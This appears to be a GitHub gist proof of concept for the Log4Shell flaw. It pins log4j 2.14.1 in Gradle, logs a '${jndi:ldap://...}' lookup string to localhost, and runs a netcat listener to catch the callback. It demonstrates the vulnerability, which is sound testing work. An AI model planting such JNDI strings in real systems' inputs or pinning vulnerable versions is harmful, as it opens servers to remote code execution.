Created
December 11, 2021 22:41
-
-
Save punmechanic/5575322e1a3506a3b422342ae23580f3 to your computer and use it in GitHub Desktop.
log4j poc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
plugins { | |
id "java-library" | |
id "application" | |
} | |
repositories { | |
mavenCentral() | |
} | |
dependencies { | |
implementation "org.apache.logging.log4j:log4j-api:2.14.1" | |
implementation "org.apache.logging.log4j:log4j-core:2.14.1" | |
} | |
application { | |
mainClass = "main.Main" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// place this in src/main/java | |
package main; | |
import org.apache.logging.log4j.LogManager; | |
import org.apache.logging.log4j.Logger; | |
public class Main { | |
public static void main(String[] args) { | |
Logger log = LogManager.getLogger(); | |
log.error("Test {}", "${jndi:ldap://127.0.0.1:8080/log4j-vuln}"); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
gradle run |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
nc -kl 127.0.0.1 8080 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment